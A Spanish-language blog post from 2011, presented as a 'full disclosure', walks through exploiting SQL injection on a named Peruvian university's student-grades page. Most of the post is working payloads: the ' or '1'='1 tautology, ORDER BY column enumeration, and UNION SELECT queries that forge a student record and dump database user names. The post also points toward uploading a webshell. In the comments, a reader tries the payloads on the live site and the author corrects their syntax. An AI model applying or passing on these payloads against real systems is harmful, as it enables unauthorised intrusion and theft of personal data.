viernes, 19 de agosto de 2011

Full Disclosure – SQLi tipo Inbound en oagra.unac.edu.pe


DATOS SOBRE EL BUG

Target:  oagra.unac.edu.pe
Autor : PeruOverflow [ Neotrons]
Vector de intrusión: SQLi tipo Inbound en página de oagra.unac.edu.pe
Title: Oagra SQLi
Ruta: http://oagra.unac.edu.pe/nota.asp
Identificación del Bug: ' or '1' = '1
Impacto: Bajo/Medio creación de Vistas temporales y Volcado de Información del Sistema

Explotando un SQLi Inbound

Encontrar este tipo de vulnerabilidades en Web es algo raro no por su complejidad sino por la facilidad con la que se explota y porque no decir por la facilidad con las que se solucionan, pero en las sendas del Señor todo se encuentra bueno, lo especial de este tipo de explotación del SQLi es que nos permite hacer SQLi fingerprintin , la explotación de este tipo de vulnerabilidades radica en que podemos mostrar datos del sistema es decir acceso a información con procedimientos de listado, utilizando principalmente la cláusula UNION SELECT.
Para recoger información y hacer un test rápidopara saber si esta página conteniente una vulnerabilidad utilizare la herramienta OWASP ZAP que entre muchas funciones es un scanner de vulnerabilidades que trabaja como proxy local (es la función que usaremos) por lo tanto todo el intercambio de datos pasara primero por ZAP para ello configuro mi navegador para que utilice el proxy en localhost con el puerto 8080. Luego del análisis y escaneo por ZAP a la página http://oagra.unac.edu.pe/nota.asp obtenemos información y una bonita alerta de SQLi 



Al parecer la pagina es vulnerable al ingreso de la ‘ (comilla algo ya casi que nunca se encuentra) ahora veamos como explotar esta SQLi Inbound
Primero necesitaremos construir un bosquejo de cómo puede ser la cónsulta SQL que ingresa para ello obligamos a devolver un error ingresando la ‘  (comilla simple) y obtenemos este  error 

" Microsoft OLE DB Provider for SQL Server error '80040e14'
Comilla no cerrada antes de la cadena de caracteres '' and alumnoWEB.escc=schoolWEB.codigo'.

/nota.asp, línea 61  "


Lo que a primera vista nos haría suponer que la consulta está estructurada de la siguiente manera:
Select dato1, dato2, dato3…….., datoN from TABLA where Codigo=’valor’ and alumnoWEB.escc=schoolWEB.codigo
Por tanto para poder volcar información debemos saber exactamente cuántos datos devolverá la consulta para ello utilizaremos ORDER BY pero antes de ello explotare la vulnerabilidad es la forma mas fácil para extraer datos mediante una conjunción lógica de la siguiente manera:
' or  '1' = '1
Esta es un método clásico pero explotado de una forma peculiar ya que no hacemos uso del el carácter -  -  (doble guion que indica comentarios en SQL)


Y como resultado obtenemos toda la información del primer  Alumno de la BD, así que vemos que la vulnerabilidad se puede explotar y de qué forma debemos de ingresar  nuestros Datos.
Como mencione hace un momento para poder volcar Datos debemos de saber exactamente cuántos datos devuelve la consulta SELECT y para ello que más que utilizar ORDER BY ya que esta clausula nos permite ordenar los resultados del SELECT en función de cualquiera de los campos seleccionados o también en función a la posición del campo. 
Así que podríamos ingresar una consulta y observar el resultado:
' AND 1 = 0 ORDER BY 1 - -
' AND 1 = 0 ORDER BY 10000 --
Con la primera consulta decimos que ordenaremos de acuerdo al "dato1" como es un dato que existe no devolverá la misma página, en la segunda consulta ordenaremos de acuerdo al "dato1000" que no exite por lo que el mensaje es “El número de posición 10000 de ORDER BY está fuera del intervalo de elementos de la lista de selección”.

Por lo tanto para una posición valida nos muestra la misma web y para una no valida muestra el error para ello utilizare el método “Binary Search con ORDER BY” para ello pondré los valores min y max [1,9]
' AND 1 = 0 ORDER BY 1 - -
' AND 1 = 0 ORDER BY 9 - -
Donde Dato < 9
Luego [1, 5] y del <5,9>
'  AND 1 = 0 ORDER BY 5 - -  
Donde Dato > 5
Luego <5, 7] y del <7,9> 
'  AND 1 = 0 ORDER BY 7 - -  
Donde Dato < 7 
por lo tanto el número de datos mostrados por el SELECT son 6 quedando la consulta así
Select dato1, dato2, dato3…….., dato6 from TABLA where Codigo=’valor’ and alumnoWEB.escc=schoolWEB.codigo
Ahora para Volcar los Datos usaremos la Cláusula UNION SELECT
 
'  AND 1 = 0 UNION SELECT 1,2,3,4,5,6 - -

Obteniendo los valores:
1 = código
2 = Alumno
3 = código de Escuela
4 = Nombre de  Facultad
5 = Nombre de Escuela
6 = Vista o tabla temporal de las Notas
Así que para verificar lo aprendido mostraremos unos cuentos Datos Creando una Vista de un Nuevo usuario con los Datos de información (ya las notas es para otro artículo).
Para los que les gusta BATMAN crearemos al Alumno Bruno Días.
‘  AND 1 = 0  UNION SELECT ‘555555’, ‘BRUNO DIAS’, ‘000’, ‘CIUDAD GOTICA’, ‘BATMAN’,6--



Pero bueno eso es solo una pequeña prueba donde está realmente el peligro de este tipo de explotación, en que al igual que hemos mostrado las vistas para la consulta anterior podríamos mostrar información del sistema como cuál es El usuario dueño de la BD, El nombre de la BD,  entre otras cosas más que se me ocurres que puede ser necesarias para una explotación de forma más dirigida por ejemplo a la tabla MASTER bueno para lo mencionado anteriormente podemos utilizar "funciones de informacion del Sistema" tales como CURRENT_USER, SESSION_USER, SYSTEM_USER, USER_NAME, bueno esta son las que se me ocurren así que tu puedes buscar más dependiendo a lo que estés tratando de explotar y hasta donde quieras llegar. Una consulta que podría exponer información del Sistema para luego explotarlas podría ser:       
  
‘  AND 1 = 0  UNION SELECT CURRENT_USER, SYSTEM_USER , SESSION_USER, 4, 5,6--
CURRENT_USER = DBO
SYSTEM_USER = oagra
SESSION_USER = DBO
Podríamos extraer más información en la siguiente Url http://msdn.microsoft.com/es-es/library/ms187786.aspx muestra las funciones de información , y buscar que más parámetros se pueden explotar y poder subir una webshell , extraer información del as Tablas y BD del Sistema.
Ya hemos reporta de este Bug que es considerado Medio/Bajo pero combinado con otras técnicas mas dirigidas podría comprometer o saturar OAGRA.

2 comentarios:

  1. Porfa estoy intentando poner los codigos pero el unico que me reconoce es el 'or'1'='1 los demas me devuelta este error
    digamos pongo esto ' AND 1 = 0 ORDER BY 1 - - y me da este mensaje

    Microsoft OLE DB Provider for SQL Server error '80040e14'

    Comilla no cerrada antes de la cadena de caracteres ' and alumnoWEB.escc=schoolWEB.codigo'.

    /nota.asp, línea 61

    ResponderEliminar
  2. Hola si la consulta que estas ingresando es esa el error radica en que el - - (guión espacio guión) estas dejando un espacio entre ambos caracteres debería ser -- (doble guión) para que todo lo que esta detrás sea comentario (alumnoWEB.escc=schoolWEB.codigo) yo lo eh puesto así ya que el blog lo reconoce como una raya.

    ResponderEliminar